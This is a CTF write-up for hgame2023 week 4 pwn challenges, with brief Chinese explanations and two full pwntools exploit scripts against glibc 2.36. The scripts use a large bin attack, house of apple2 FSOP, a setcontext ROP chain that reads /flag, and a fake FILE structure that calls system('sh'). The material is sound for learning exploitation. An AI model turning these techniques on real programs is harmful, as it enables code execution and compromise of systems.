【WP】hgame2023 week4 Pwn
without_hook
libc2.36的版本,没有__free_hook
和__malloc_hook
这种hook函数,这里使用打_IO_list_all
执行fsop的方式执行setcontext
后执行orw的rop链
我这里使用的house of apple2
的方式
其中,在2.36的版本需要把rdx的值赋值给rdi,这样再去执行setcontext才能执行rop链
为了让rdx的值给到rdi,使用到了这样一个magic_gadget
0x0000000000160cb6: mov rdx, qword ptr [rax + 0x38]; mov rdi, rax; call qword ptr [rdx + 0x20];
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2023/01/31 11:17:12
# -----------------------------------
#* https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *
init("./vuln")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
if pwnio.ip:
libc = ELF("./libc.so.6")
cmd = lambda idx: sla(">", str(idx))
def add(idx, size=0x500):
cmd(1)
sla("Index: ", str(idx))
sla("Size: ", str(size))
def free(idx):
cmd(2)
sla("Index: ", str(idx))
def edit(idx, content):
cmd(3)
sla("Index: ", str(idx))
sa("Content: ", content)
def show(idx):
cmd(4)
sla("Index: ", str(idx))
def pack(pos, ptr):
return (pos >> 12) ^ ptr
def build_fake_file(addr, vtable, _wide_data, rdx=0):
# flag = 0xFBAD2887
# fake_file = p64(flag) # _flags
# fake_file += p64(addr) # _IO_read_ptr
# 不用上面的flag和_IO_read_ptr是因为chunk里不可控上面两个字段
fake_file = b""
fake_file += p64(addr) # _IO_read_end
fake_file += p64(addr) # _IO_read_base
fake_file += p64(addr) # _IO_write_base
fake_file += p64(addr + 1) # _IO_write_ptr
fake_file += p64(rdx) # _IO_write_end
fake_file += p64(addr) # _IO_buf_base
fake_file += p64(0) # _IO_buf_end
fake_file += p64(0) # _IO_save_base
fake_file += p64(0) # _IO_backup_base
fake_file += p64(0) # _IO_save_end
fake_file += p64(0) # _markers
fake_file += p64(0) # _chain could be a anathor file struct
fake_file += p32(1) # _fileno
fake_file += p32(0) # _flags2
fake_file += p64(0) # _old_offset
fake_file += p16(0) # _cur_column
fake_file += p8(0) # _vtable_offset
fake_file += p8(0x10) # _shortbuf
fake_file += p32(0)
fake_file += p64(0) # _lock
fake_file += p64(0) # _offset
fake_file += p64(0) # _codecvt
fake_file += p64(_wide_data) # _wide_data
fake_file += p64(0) # _freeres_list
fake_file += p64(0) # _freeres_buf
fake_file += p64(0) # __pad5
fake_file += p32(0) # _mode
fake_file += p32(0) # unused2
fake_file += p64(0) * 2 # unused2
fake_file += p64(vtable) # vtable
return fake_file
"""
#! large bin leak heap address
#! large bin attack --> fake io --> house of apple2
#! exec setcontext+61
"""
add(0, 0x508) # fake_wide_data
add(1, 0x550) # fake_chain
add(2)
add(3, 0x540)
add(4)
#! leak libc base
free(1)
show(1)
fd_bk = leak(l64(), "fd_bk")
libc.address = leak(fd_bk - 0x1F6CC0, "libc")
#! to large bin
add(5, 0x600) # fake_jump
#! large leak fd_next to get heap base
edit(1, b"a" * 15 + b"b")
show(1)
ru("b")
heap_base = leak(uu64(r(6)) - 0x7A0, "heap_base")
edit(1, p64(fd_bk) * 2)
#! free large_chunk2 into unsortedbin
free(3)
#! modify largebin[0]->bk_nextsize -> tagert_addr-0x20
_IO_list_all = libc.sym["_IO_list_all"]
_IO_list_all_chain = _IO_list_all + 0x88
setcontext_61 = libc.sym["setcontext"] + 61
info(_IO_list_all_chain, "_IO_list_all_chain")
edit(1, p64(fd_bk) * 2 + p64(heap_base + 0x7A0) + p64(_IO_list_all_chain - 0x20))
info(heap_base + 0x7A0, "fake_IO")
#! large bin attack : chain -> heap_base + 0x7a0
add(6)
#! edit _flags -> ~(2 | 0x8 | 0x800)
from ctypes import c_uint32
edit(0, b"\x00" * 0x500 + p64(c_uint32(~(2 | 0x8 | 0x800)).value))
#! bulid fake_wide_data
fake_wide_data = heap_base + 0x2A0
info(fake_wide_data, "fake_wide_data")
#! edit vtable -> _IO_wfile_jumps
#! edit fp -> _wide_data = fake_wide_data
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
#* magic_gadget
#* 0x0000000000160cb6: mov rdx, qword ptr [rax + 0x38]; mov rdi, rax; call qword ptr [rdx + 0x20];
magic = leak(libc.address + 0x0000000000160CB6, "magic")
edit(1, build_fake_file(0, _IO_wfile_jumps, fake_wide_data, magic))
#! edit fake_wide_data -> _IO_write_base = 0
#! edit fake_wide_data -> _IO_buf_base = 0
#! edit fake_wide_data -> _wide_vtable = fake_jump
#! edit fake_jump -> doallocate = system
ret_addr = libc.address + 0x0000000000022D19
pop_rdi = libc.address + 0x0000000000023BA5
pop_rsi = libc.address + 0x00000000000251FE
pop_rdx_rbx = libc.address + 0x000000000008BBB9
flag_addr = heap_base + 0x2A0
open_addr = libc.sym["open"]
read_addr = libc.sym["read"]
puts_addr = libc.sym["puts"]
fake_jump = heap_base + 0x1C70
_wide_data = {
0: b"/flag\x00",
0x18: 0,
0x30: 0,
0xA0: fake_jump + 8 * 14, # orw addr
0xA8: ret_addr, # ret addr
0xE0: fake_jump,
} #! no used, only use flag_addr
edit(0, flat(_wide_data))
edit(
5,
p64(setcontext_61)
+ p64(0x1C60 + heap_base) * 10
+ p64(magic)
+ b"\x00" * 0x20
+ p64(heap_base+0x1d10) # orw addr : setcontext rdi+0xa0
+ p64(ret_addr) # ret_addr : setcontext rdi+0xa8
+ flat( # orw
pop_rdi,
flag_addr,
pop_rsi,
0,
open_addr,
pop_rdi,
3,
pop_rsi,
flag_addr,
pop_rdx_rbx,
0x100,
0,
read_addr,
pop_rdi,
flag_addr,
puts_addr,
),
)
cmd(5) # exit
"""
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
magic_gadget
setcontext+61
orw
"""
ia()
4nswer’s gift
直接把一个chunk的地址写道_IO_list_all
上,所以直接malloc申请一个0x200000
大小的chunk,执行mmap,这样得到的chunk地址和libc地址的偏移是固定的,同时配合使用house of apple
的方式获取shell
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2023/02/06 12:24:17
# -----------------------------------
#* https://github.com/Awoodwhale/pwn_all_in_one
from pwntools import *
init("./vuln")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
ru("0x")
_IO_list_all = leak(i16(r(12)), "_IO_list_all")
libc.address = leak(_IO_list_all - libc.sym["_IO_list_all"], "libc_base")
heap_addr = leak(libc.address - 0x204000, "heap_addr")
sla("the gift?", str(0x200000))
# dbg();pau()
fs = FileStructure()
fs.flags = b" sh;"
fs.vtable = libc.sym["_IO_wfile_jumps"]
fs._wide_data = heap_addr+0x110
fs._IO_write_ptr = 1
fs._IO_write_base = 0
payload = flat({
0x0: bytes(fs),
0x100: {
0x18: 0,
0x30: 0,
0xe0: heap_addr + 0x210
},
0x200: {
0x68: libc.sym["system"]
}
}, filler = b'\x00')
sa("gitf?", payload+b"\n")
ia()